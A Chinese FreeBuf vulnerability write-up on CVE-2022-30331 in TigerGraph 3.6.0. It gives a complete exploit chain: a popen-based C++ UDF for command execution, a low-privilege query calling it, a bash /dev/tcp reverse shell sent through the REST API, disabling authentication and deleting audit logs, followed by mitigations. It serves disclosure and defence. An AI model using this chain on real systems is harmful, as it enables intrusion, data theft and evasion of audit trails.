freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2022-30331-TigerGraph 3.6.0 UDF 功能漏洞分析
2022-09-21 00:06:06
所属地 海外

TigerGraph UDF 漏洞:详细信息和示例

CVE 参考地址:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202209-215

TigerGraph 图数据库为用户提供了远程上传任意 C++ 源代码以创建用户定义函数的工具。该代码会自动编译并安装到敏感的系统组件中,几乎不需要仔细检查。由于缺乏保护措施,这个过程可以以最小的权限被利用,让攻击者完全控制整个 TigerGraph 集群和底层服务器。

背景

在这篇文章中,详细介绍了在 TigerGraph 产品中发现的一个关键 CVE。这些细节在过去三个月内没有公开披露,以便在 CVE 的细节公开之前让 TigerGraph 有足够的时间修复漏洞并加强其安全性。

我们将展示如何使用 TigerGraph 的 GSQL 查询语言的功能将用户的权限提升为管理用户的权限、禁用身份验证、泄露敏感数据,然后删除审计跟踪。

在撰写本文时,这些问题会影响 TigerGraph Server 3.6.0 的最新版本以及从该代码库派生的任何其他产品。例如,官方 TigerGraph Docker 镜像。虽然未经证实,但 TigerGraph Cloud 也可能受到影响。

问题

TigerGraph 是一个图数据库,具有称为 GSQL 的专有查询语言。GSQL 的功能之一是能够创建查询用户定义的函数(缩写为 UDF)。UDF 是 C++ 源代码,它被编译并链接到 TigerGraph 数据库中,为 GSQL 查询提供额外的功能。

在 TigerGraph 中,UDF 继承了其实现语言 C++ 的特性,允许用户访问非托管内存和不安全指针。由于没有真正的运行时安全保护,指针和缓冲区溢出漏洞是一种真正的可能性。事实上,我们在 TigerGraph 的 LDBC 代码中发现了这样一个漏洞——缓冲区溢出——几行代码(这让我们看到了这个和其他类似的安全缺陷)。

为了突出这个关键的安全漏洞,我们首先展示了在系统正常操作下允许用户做什么*,*以及这如何破坏对 TigerGraph 中的安全性所做的一些假设。我们首先展示如何在远程 TigerGraph 系统上获得具有管理权限的远程 shell。

第一步是调出一个远程TigerGraph系统,添加一些不同级别的用户,并创建一个测试数据库。

附录 A:设置 TigerGraph 服务器中提供了使用 Docker 执行此操作的说明。

1. UDF 的远程安装

一旦系统启动并运行,我们将创建一个run_shell_expr从下面的 C++ 代码调用的新 UDF。UDF 将简单地接受一个字符串,在子 Shell 中运行并返回输出:

inline string run_shell_expr (string cmd) {
  char buffer[4096];
  std::string result = "";
  FILE* pipe = popen(cmd.c_str(), "r");
  if (pipe){
    try {
      while (fgets(buffer, sizeof buffer, pipe) != NULL) {
        result += buffer;
      }
    } catch (...) {
      /*...*/
    }
    pclose(pipe);
  }

  return string(result);
}

一旦我们将 UDF 编码到udf.hpp本地机器上调用的文件中,我们就可以使用 GSQL 客户端使用tigergraph用户将其安装到远程系统上:

$ java -jar gsql_client.jar -ip localhost
Adding gsql-server host localhost
Password for tigergraph : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > PUT ExprFunctions FROM "./udf.hpp"
PUT ExprFunctions successfully.

这会将我们的 C++ 源文件通过网络复制到 TigerGraph 系统上,并在那里自动编译和安装。此时,我们的 UDFrun_shell_expr可供所有用户在查询中使用,尽管仅由超级用户上传。

请注意,为简洁起见,上述代码片段省略了创建 UDF 所需的一些样板代码,但完整代码可在附录 A:UDF 代码中找到。

2.远程安装查询

下一步是创建一个调用run_shell_exprUDF 的新查询。同样,这是使用 GSQL 控制台进行的远程操作,但由低权限用户bob执行,该用户仅具有在名为test的图上创建和运行查询的本地权限(bob仅有querywriter权限)。下面我们展示了执行此操作的 GSQL 命令:

$ java -jar gsql_client.jar -ip localhost -u bob
Adding gsql-server host localhost
Password for bob : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > use graph test
Using graph 'test'
GSQL > begin
GSQL > CREATE QUERY run_cmd(string cmd) FOR GRAPH test {
GSQL >   PRINT run_shell_expr(cmd);
GSQL > }
GSQL > end
Successfully created queries: [run_cmd].
GSQL > install query run_cmd
Start installing queries, about 1 minute ...
run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.

[========================================================================================================] 100% (1/1)
Query installation finished.
GSQL >

安装run_cmd查询后,它将在远程 TigerGraph 系统上运行简单的命令。在这种情况下,我们使用id命令查看 UDF 正在由应用程序级超级用户在远程系统上执行:tigergraph

GSQL > RUN QUERY run_cmd("id")
{
  "error": false,
  "message": "",
  "version": {
    "schema": 0,
    "edition": "enterprise",
    "api": "v2"
  },
  "results": [{"run_shell_expr(cmd)": "uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)\n"}]
}

3.远程获取 Shell

请注意在安装查询之前显示的消息:

run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.

此消息让我们知道 TigerGraph 已自动为run_cmd查询创建了一个 REST API。因此,下一步是获取一个以tigergraph用户身份运行的反向 Shell,但使用仅有最低权限的用户alice执行此操作。

为了使其正常工作,您将需要一台可以将网络流量路由到外部地址和端口的机器。在此示例中,我们使用 IP 地址192.168.0.2和端口4444。设置好机器后,打开一个新的控制台窗口并在其中使用 netcat 实用程序来监听网络流量:

$ nc -l 4444 -v

在另一个控制台中,我们只需使用alice的授权令牌生成一个 HTTP POST 请求:

$ curl -X POST \
  -H 'Authorization: Bearer aa4upir75pntu90pckr2ldr395l3hh70' \
  http://localhost:14240/restpp/query/test/run_cmd \
  -d '{"cmd": "bash -c \"bash -i >& /dev/tcp/192.168.0.2/4444 0>&1\""}'
{"error":true,"message":"The query didn't finish because it exceeded the query timeout threshold (16 seconds). Please check GSE log for license expiration and RESTPP/GPE log with request id (65548.RESTPP_1_1.1659629508618.N) for details. Try increase RESTPP.Factory.DefaultQueryTimeoutSec or add header GSQL-TIMEOUT to override default system timeout. ","results":[],"code":"REST-3002"}%

请注意,需要稍微修改 URL,因为我们正在将流量转发到 Docker 容器中。

Shell 会话将在您的第一个窗口中打开,您可以在其中以tigergraph用户身份自由执行命令:

tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ id
id
uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ pwd
pwd
/home/tigergraph/tigergraph/app/3.5.3/bin

4. 规避安全功能和泄露数据

现在我们作为管理用户拥有 Shell 访问权限,现在可以禁用 REST API 的身份验证,并且可以删除系统审计日志的选择以覆盖攻击:

tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config set RESTPP.Factory.EnableAuth false
[   Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config apply
[   Note] Changes:
RESTPP.Factory.EnableAuth: true -> false
Proceed to apply? (y/N)y
[   Info] Successfully applied configuration change. Please restart services to make it effective immediately.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin restart restpp nginx gui gsql -y
[   Info] Stopping NGINX RESTPP GSQL GUI
[   Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/log$ rm gsql/* restpp/* controller/*

为了证明身份验证被禁用,可以从test2具有零授权用户的第二个图中窃取一些敏感数据:

$ curl -X GET "http://localhost:14240/restpp/graph/test2/vertices/Node"
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%

复合因素

我们已经证明,如果用户愿意,他们可以使用 GSQL 中的 UDF 工具来绕过 TigerGraph 的所有安全保护措施并泄露敏感数据。更重要的是,可以使用系统中特权最低的角色之一执行实际攻击queryreader——使用 TigerGraph 的 REST API。

我们使用的示例场景是为教学目的而设计的。我们做出的假设之一是攻击者需要安装恶意 UDF(类似于run_shell_exprUDF),并且他们需要管理访问权限才能执行此操作。但是,基于需要安装权限这一事实而忽略该漏洞是幼稚的。

我们为这种思路提供了三个反驳论点:

  1. 它假定系统没有可利用的错误;

  2. 它隐含地信任任何有权访问管理用户的人不会破坏系统的完整性;和

  3. 这意味着管理用户可以访问系统中放置的所有敏感数据。

CVE 表明 TigerGraph 中没有足够的防御措施来防止 UDF 中潜在的缓冲区溢出被具有最低权限级别之一的用户利用。

缓解措施

当看到该漏洞时,TigerGraph 确认这是他们期望 UDF 的行为方式,并提供了以下缓解措施:

  • 启用 GSQL 和 REST 端点的身份验证;和

  • 更改tigergraph管理员用户的默认密码。

TigerGraph 的 Docker 映像已更新,现在远程 GSQL 客户端会提示用户输入密码。

但是,如果错误被意外包含在安装到系统中的 UDF 中(如这里的情况),或者攻击者可以访问tigergraph用户,则几乎没有保护。允许将不受约束的 C++ 链接到 TigerGraph 二进制文件是一种冒险的架构选择,具有明显的缺点。

建议

虽然当前的系统架构和 UDF 设计和保护机制仍然存在,但该漏洞仍将保留在 TigerGraph 产品中。

我们同时使用 TigerGraph 的建议是:

  • 避免使用 UDF:因为即使是未使用的 UDF 也会带来安全风险。

  • 如果必须使用 UDF,请清理 GSQL 和 UDF 之间的所有输入:我们承认这非常困难,因为它要么必须作为 UDF 完成,要么使用 GSQL 编写。

  • 限制 TigerGraph 对包含敏感数据的网络的访问:由于 TigerGraph 集群能够运行任意代码,因此确保进出它的网络流量受到限制是明智之举。

附录 A

设置 TigerGraph 服务器

使用 Docker 下载最新的 TigerGraph 镜像并启动服务器。我们按照 TigerGraph 提供的说明进行操作。

  1. 下载并运行docker镜像(注意:我们不需要附加卷):

$ docker run -d \
	-p 14022:22 \
	-p 9000:9000 \
	-p 14240:14240 \
	--name tigergraph \
	--ulimit nofile=1000000:1000000 \
	-t docker.tigergraph.com/tigergraph:latest
  1. 容器启动后,通过 ssh 连接(注意:默认密码为tigergraph):

$ ssh -p 14022 tigergraph@localhost
  1. 启动所有TigerGraph服务:

$ gadmin start all
  1. 使用 GSQL 创建一个空图:

$ gsql "create graph test()"
  1. alice使用 GSQL 创建一个具有最低权限的用户:

$ gsql "create user"
User Name : alice
New Password : *****
Re-enter Password : *****
  1. 授予以下权限alice

$ gsql -g test "grant role queryreader on graph test to alice"
  1. 创建秘密alice

$ gsql -u alice -p alice -g test "create secret"
The secret: rdua9klbkp88t2jkd8me44nd5638d73t has been created for user "alice".
  1. 创建一个用户——bob拥有足够的权限使用 GSQL 创建新的查询:

$ gsql "create user"
User Name : bob
New Password : *****
Re-enter Password : *****
  1. 授予以下权限bob

$ gsql -g test "grant role querywriter on graph test to bob"
  1. 创建第二个名为的图test2并向其添加一个节点:

$ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test2(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test2 {
GSQL>   INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello")
  1. 更改tigergraph用户的默认密码:

$ gsql "alter password"
  1. 启用RESTPP认证:

gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply
gadmin restart restpp nginx gui gsql -y

设置 GSQL 客户端

  1. 一旦 TigerGraph 运行,我们可以从正在运行的容器中获取一份gsql_client.jar的副本。注意:您需要正确版本的客户端才能成功连接到服务器。

$ docker cp tigergraph:/home/tigergraph/tigergraph/app/3.5.3/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar 
  1. 要为特定用户打开 GSQL 控制台会话,请运行客户端,如下所示:

$ java -jar gsql_client.jar -ip localhost -u 
Adding gsql-server host localhost
Password for  : *****
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL >

UDF 代码

/******************************************************************************
 * Copyright (c) 2015-2016, TigerGraph Inc.
 * All rights reserved.
 * Project: TigerGraph Query Language
 * udf.hpp: a library of user defined functions used in queries.
 *
 * - This library should only define functions that will be used in
 *   TigerGraph Query scripts. Other logics, such as structs and helper
 *   functions that will not be directly called in the GQuery scripts,
 *   must be put into "ExprUtil.hpp" under the same directory where
 *   this file is located.
 *
 * - Supported type of return value and parameters
 *     - int
 *     - float
 *     - double
 *     - bool
 *     - string (don't use std::string)
 *     - accumulators
 *
 * - Function names are case sensitive, unique, and can't be conflict with
 *   built-in math functions and reserve keywords.
 *
 * - Please don't remove necessary codes in this file
 *
 * - A backup of this file can be retrieved at
 *     /dev_/gdk/gsql/src/QueryUdf/ExprFunctions.hpp
 *   after upgrading the system.
 *
 ******************************************************************************/

#ifndef EXPRFUNCTIONS_HPP_
#define EXPRFUNCTIONS_HPP_

#include 
#include 
#include 
#include 
#include 
#include 

/**     XXX Warning!! Put self-defined struct in ExprUtil.hpp **
 *  No user defined struct, helper functions (that will not be directly called
 *  in the GQuery scripts) etc. are allowed in this file. This file only
 *  contains user-defined expression function's signature and body.
 *  Please put user defined structs, helper functions etc. in ExprUtil.hpp
 */
#include "ExprUtil.hpp"

namespace UDIMPL {
  typedef std::string string; //XXX DON'T REMOVE

  /****** BIULT-IN FUNCTIONS **************/
  /****** XXX DON'T REMOVE ****************/
  inline int64_t str_to_int (string str) {
    return atoll(str.c_str());
  }

  inline int64_t float_to_int (float val) {
    return (int64_t) val;
  }

  inline string to_string (double val) {
    char result[200];
    sprintf(result, "%g", val);
    return string(result);
  }

   inline string run_shell_expr (string cmd) {
     char buffer[4096];
     std::string result = "";
     FILE* pipe = popen(cmd.c_str(), "r");
     if (pipe){
         try {
             while (fgets(buffer, sizeof buffer, pipe) != NULL) {
                 result += buffer;
             }
         } catch (...) {
             /*...*/
         }
         pclose(pipe);
     }
     
     return string(result);
  }

}
/****************************************/

#endif /* EXPRFUNCTIONS_HPP_ */
# 漏洞 # 网络安全 # 系统安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录